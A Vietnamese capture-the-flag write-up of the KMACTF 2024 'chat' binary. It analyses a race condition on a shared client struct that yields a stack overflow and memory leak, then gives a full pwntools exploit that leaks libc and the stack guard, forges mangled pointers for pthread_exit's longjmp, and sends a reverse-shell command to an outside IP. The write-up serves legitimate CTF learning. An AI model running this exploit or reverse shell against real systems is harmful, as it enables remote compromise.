# KMACTF 2024
## chat
- chall này hay nhưng khi thi mình ko làm được, nên mình tham khảo wu để làm lại
### Anlysis
- Trước tiên cần tạo 3 struct là **name_struct, chat_struct và client_struct** để dễ hiểu flow của thằng chat
```c
00000000 name_struct struc ; (sizeof=0xC, mappedto_10)
00000000 name dq ? ; offset
00000008 name_size dd ?
0000000C name_struct ends
00000000 chat_struct struc ; (sizeof=0x28, mappedto_11)
00000000 ; XREF: client_struct/r
00000000 name dq ? ; offset
00000008 name_size dd ?
0000000C db ? ; undefined
0000000D db ? ; undefined
0000000E db ? ; undefined
0000000F db ? ; undefined
00000010 message dq ? ; offset
00000018 message_size dd ?
0000001C db ? ; undefined
0000001D db ? ; undefined
0000001E db ? ; undefined
0000001F db ? ; undefined
00000020 next dq ? ; offset
00000028 chat_struct ends
00000000 client_struct struc ; (sizeof=0x2C, mappedto_22)
00000000 sock dd ?
00000004 latest_chat chat_struct ?
0000002C client_struct ends
```
- thằng chat có 2 chức năng là **handle_recv** và **handle_send** để xử lý message từ client, vì ta sẽ focus vào **handle_recv**
```c
void __fastcall __noreturn client_handler(client_struct *c)
{
int buf; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( recv(c->sock, &buf, 4uLL, 0) )
{
if ( !buf )
handle_recv(c);
if ( buf == 1 )
handle_send(c);
}
buf = -1;
send(c->sock, &buf, 4uLL, 0);
close(c->sock);
c->sock = 0;
pthread_exit(0LL);
}
```
- để ý thằng **client_struct** *c, tất cả các thread đêu dùng chung **client_struct** này , điều này rất dễ dẫn đến **Race conditons** vì struct của các client mỗi khi gửi message đều được dùng chung, dẫn đến size và data sẽ bị lẫn lộn
```c
while ( 1 )
{
v8 = accept(fd, &addr, &addr_len);
while ( c )
;
v3 = ntohs(*addr.sa_data);
v4 = inet_ntoa(*&addr.sa_data[2]);
printf("New connection to recv sock from %s:%d\n", v4, v3);
LODWORD(c) = v8;
pthread_create(&newthread, 0LL, client_handler, &c);
}
```
- phân tích sâu vào **handle_recv** thì mess nằm trên stack sẽ được được memcpy với **size mess->message_size == c->latest_chat.message_size**

- nhưng thằng **c->latest_chat.message_size** ta lại control được bằng bug Race Condition từ size của thằng client khác vì nó đều được dùng chung

- từ Bug này ta sẽ thực hiện BOF được , nma để leak được ta cần phân tích thêm thằng **handle_send**
```c
void __fastcall __noreturn handle_send(int *a1)
{
int buf; // [rsp+18h] [rbp-18h] BYREF
int fd; // [rsp+1Ch] [rbp-14h]
chat_struct *i; // [rsp+20h] [rbp-10h]
unsigned __int64 v4; // [rsp+28h] [rbp-8h]
v4 = __readfsqword(0x28u);
fd = *a1;
*a1 = 0;
for ( i = chat; i && i->name && i->message; i = i->next )
{
send(fd, &i->name_size, 4uLL, 0);
send(fd, i->name, i->name_size, 0);
send(fd, &i->message_size, 4uLL, 0);
send(fd, i->message, i->message_size, 0);
}
buf = -1;
send(fd, &buf, 4uLL, 0);
close(fd);
pthread_exit(0LL);
}
```
- thằng này nó cũng dùng lại message_size để send, vậy ta có thể leak addr từ đây
- Nhưng mà vấn đề ở đây là thread kết thúc bằng **pthread_exit** chứ không phải ret, nên cho dù ta có BOF để overwrite rip thì cũng không get shell được
- theo như wu mình tham khảo thì ta sẽ lợi dụng thằng **longjmp_cancel** trong pthread_exit để get shell

- các reg đều được lấy từ stack để setup sau đó jmp rdx, vì ta có BOF nên có thể control được stack từ đó set up rdi theo ý mình để call system

- cuối cùng ta revshell nữa là lấy được flag thôi

### script
- tham khảo của anh JHT
```python
#!/usr/bin/python3
from pwn import *
exe = ELF('chat_patched', checksec=False)
libc = ELF('libc.so.6', checksec=False)
# ld = ELF("./ld-2.27.so")
context.binary = exe
IP = '0'
PORT = 10000
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda proc, data: proc.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())
def recv(size):
data = b''
for _ in range(size):
data += p.recv(1)
return data
def recv_msg():
size = u32(recv(4))
recv(size)
size = u32(recv(4))
return recv(size)
def PTR_MANGLE(addr):
addr ^= stack_guard
addr = ((addr << 0x11) | (addr >> (64 - 0x11))) & 0xffffffffffffffff
return addr
p1 = remote(IP, PORT)
p2 = remote(IP, PORT)
s(p1, p32(0) + p32(1) + p32(0x100))
s(p2, p32(0) + p32(1) + p32(0x1000))
s(p1, b'1' + b'bash -c "sh -i >& /dev/tcp/172.31.11.73/8080 0>&1"')
p1.close()
p2.close()
p = remote(IP, PORT)
s(p, p32(1))
msg = recv_msg()
stack_leak = u64(msg[0x128:0x130])
info("Main stack leak: " + hex(stack_leak))
thread_stack_leak = u64(msg[0x160:0x168])
info("Thread stack leak: " + hex(thread_stack_leak))
libc_leak = u64(msg[0x138:0x140])
libc.address = libc_leak - 0x12bc2d
info("Libc leak: " + hex(libc_leak))
info("Libc base: " + hex(libc.address))
stack_guard = u64(msg[0x9d0:0x9d8])
info("STACK GUARD: " + hex(stack_guard))
p.close()
pop_rdi = libc.address + 0x000000000011578c
ret = pop_rdi + 1
p1 = remote(IP, PORT)
p2 = remote(IP, PORT)
s(p1, p32(0) + p32(1) + p32(0x100))
s(p2, p32(0) + p32(1) + p32(0x1000))
p2.close()
payload = flat(
pop_rdi, thread_stack_leak,
libc.sym.system
)
s(p1, b'1' + payload)
p = remote(IP, PORT)
s(p, p32(1))
msg = recv_msg()
msg = recv_msg()
print(msg)
thread_stack_leak2 = u64(msg[0x160:0x168])
info("Thread stack leak 2: " + hex(thread_stack_leak2))
p.close()
p1 = remote(IP, PORT)
p2 = remote(IP, PORT)
s(p1, p32(0) + p32(1) + p32(0x100))
s(p2, p32(0) + p32(1) + p32(0x1000))
p2.close()
payload = fit(
{
0x128: stack_leak,
0x150: flat(stack_leak, stack_leak, stack_leak),
0x1c0: b'/bin/sh\0',
0x1c0 + 0x30: p64(PTR_MANGLE(thread_stack_leak2)) + p64(PTR_MANGLE(ret)),
0x200: 0xcafebabe
},
)
s(p1, b'1' + payload)
p1.interactive()
# pop_rdi = ROP(libc).find_gadget(["pop rdi","ret"])[0]
# rop = [pop_rdi+1,pop_rdi,next(libc.search(b"/bin/sh\0")),libc.sym.system]
# rop = b"".join([p64(i) for i in rop])
# shellcode1 = asm(
# '''
# mov rbx, 29400045130965551
# push rbx
# mov rdi, rsp
# xor rsi, rsi
# xor rdx, rdx
# mov rax, 0x3b
# syscall
# ''', arch = 'amd64'
# )
```